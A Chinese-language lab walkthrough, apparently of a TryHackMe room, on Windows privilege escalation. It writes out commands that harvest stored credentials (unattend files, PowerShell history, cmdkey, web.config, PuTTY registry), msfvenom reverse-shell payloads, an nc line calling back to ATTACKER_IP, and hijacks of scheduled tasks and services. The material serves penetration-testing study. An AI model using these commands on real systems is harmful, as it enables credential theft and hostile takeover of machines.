如同linux经常通过ssh远程,windows则喜欢rdp
在kali中,使用xfreerdp命令来远程连接桌面
xfreerdp /v:<远程计算机的 IP 地址或主机名> /u:<用户名> /p:<密码>
如:xfreerdp /v:10.10.111.230 /u:root /p:root
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,您可能会遇到凭据:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过在提示符下使用以下命令来检索密码cmd.exe
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
下图为历史命令,可以看到新建了一个用户。该命令只能在cmd运行
Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:
cmdkey /list
虽然看不到实际的密码,但如果发现任何值得尝试的凭据,则可以将它们与命令 runas
和 /savecred
选项一起使用,如下所示。
runas /savecred /user:admin cmd.exe 需要知道admin的密码
下图是使用cmdkey /list 查到的账号进行测试,因为windows记录了它的凭证所以runas和/savecred 命令能直接登录它的shell。
Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上网站的配置存储在名为 的文件中,web.config
并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这是在文件上查找数据库连接字符串的快速方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
下图是找到数据库:
在windows中读取文本文件的命令是 type
PuTTY 是Windows 系统上常见的SSH客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。
要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。
计划任务
查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。
可以使用不带任何选项的命令从命令行列出计划任务 schtasks
。要检索有关任何服务的详细信息,您可以使用如下命令:
schtasks /query /tn vulntask /fo list /v
如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls
:
icacls c:\tasks\schtask.bat
从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。当受控机安装nc,就可以反弹shell到攻击机那
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
等计划任务启动时能监听到,或者手动运行schtasks /run /tn vulntask
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。
注意: AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。
此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。命令提示符:在目标主机设置两个注册表
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用 生成恶意 .msi 文件 msfvenom
,如下所示:在kali生成恶意msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.111.230 LPORT=LOCAL_PORT -f msi -o malicious.msi
由于这是一个反向 shell,您还应该运行相应配置的 Metasploit 处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:命令提示符:把kali生成的msi文件传输到目标主机,然后运行下面的命令
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
想要了解某一个服务的结构,可以使用命令:
sc qc apphostsvc 来查看
(1)服务可执行文件的不安全权限
如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。
为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用以下命令查询服务配置sc
sc qc WindowsScheduler
可以看到,易受攻击的软件安装的服务以 svcuser1 身份运行,并且与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe
. 然后我们继续检查可执行文件的权限
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
观察有没有能利用的信息。注意到,本靶机的Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以payload覆盖它,并且该服务将使用配置的用户帐户的权限执行它,如果这个配置用户的账户时administrator,我们就相当于提权了。
使用 msfvenom 生成一个 exe-service 负载并通过 python Web 服务器提供它:
在kali中输入下面命令生成windows用的shell,以及用python生成一个服务供受害主机下载shell文件。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
python3 -m http.server 注意观察使用的协议以及端口号
在受害主机输入 powershell 打开powershell,需要在这个环境才能使用wget命令
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
下图为受害主机已经下载好了kali生成的shell文件
接下来就是要将这个文件替换某个高权限账户所拥有的服务
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp 重命名原本的服务文件
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe 把shell文件传输到当前目录下,并改名和原本的服务一样,迷惑审查人员
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F 该命令是用于在Windows系统中设置文件权限的命令。具体来说,它将文件”WService.exe”的访问权限授予了”Everyone”组中的用户,并给予他们完全控制权限(Full Control)。通过执行此命令,任何属于”Everyone”组的用户都将能够完全访问和控制该文件。
随后这个计划任务的服务就被植入了shell文件,当它启动时,就可以监听发到了。在kali起一个nc的监听,然后等待服务重启或者手动重启服务,就能反弹shell,如下图:
C:\> sc stop windowsscheduler //sc用来管理控制windows服务
C:\> sc start windowsscheduler
(2)未加引号的服务路径
当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。
使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径以解决命令中的空格问题。也就是使用类似 sc qc “vncserver” 的命令查看某个服务时,一般正确的情况下关联路径会有双引号,告诉scm正确的路径名以及参数。如果某个服务的关联路径没有双引号,并且路径上存在空格的时候,可能会造成scm不能快速识别要执行的程序,因为scm会根据空格一层层查找可能存在的文件并且关联它。
因此可以利用没有引号的服务,让scm误使用恶意程序,并且是以这个服务的所属账号的权限运行,如果该账户时administrator,那么就可以提权。
下面是查看某文件夹acl
这是一个关于”c:\MyPrograms”目录的ACL(访问控制列表)的信息。ACL定义了对目录的访问权限和权限设置。解释每个条目的含义:
“NT AUTHORITY\SYSTEM”:为”NT AUTHORITY\SYSTEM”用户或组授予了完全控制权限((F))。这是Windows系统的内置账户,具有最高权限。
“BUILTIN\Administrators”:为”BUILTIN\Administrators”组授予了完全控制权限((F))。这是本地计算机上的内置管理员组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了读取和执行权限((RX))。这是本地计算机上的内置用户组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了目录的添加数据权限((AD))和写入数据权限((WD))。这意味着”BUILTIN\Users”组可以在目录中创建和修改文件。
“CREATOR OWNER”:为目录的创建者(即文件所有者)授予了完全控制权限((F))以及对目录的继承访问权限((IO)
继续练习,依然通过msfvenom来生成恶意文件,然后通过python的http服务下载到目标主机上。下图为sc命令查看某个服务,发现路径有空格但是没有使用引号,说明可以在空格处劫持这条服务,只需要让scm认为这条服务的关联可执行文件是Disk.exe就可以了
下面通过命令,移动生成的shell可执行文件到可以被劫持的目录下,并且修改名称为Disk.exe:
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
然后给予完全控制权限:
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
通过下面命令重启服务就能触发反弹shell的exe文件了:
C:\> sc stop “disk sorter enterprise”
C:\> sc start “disk sorter enterprise”
按理说到这步就可以反弹shell了。如果遇到拦截,我也不知道咋办。
(3)不安全的服务权限
如果服务的可执行DACL配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。
要从命令行检查服务DACL ,您可以使用Sysinternals 套件中的Accesschk
在安装有Accesschk的路径下,运行accesschk64.exe -qlc thmservice
BUILTIN\\Users
组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置服务
生成shell文件,传输到目标主机,输入下面命令赋予权限:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):命令提示符
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
然后重启服务触发shell
C:\> sc stop THMService
C:\> sc start THMService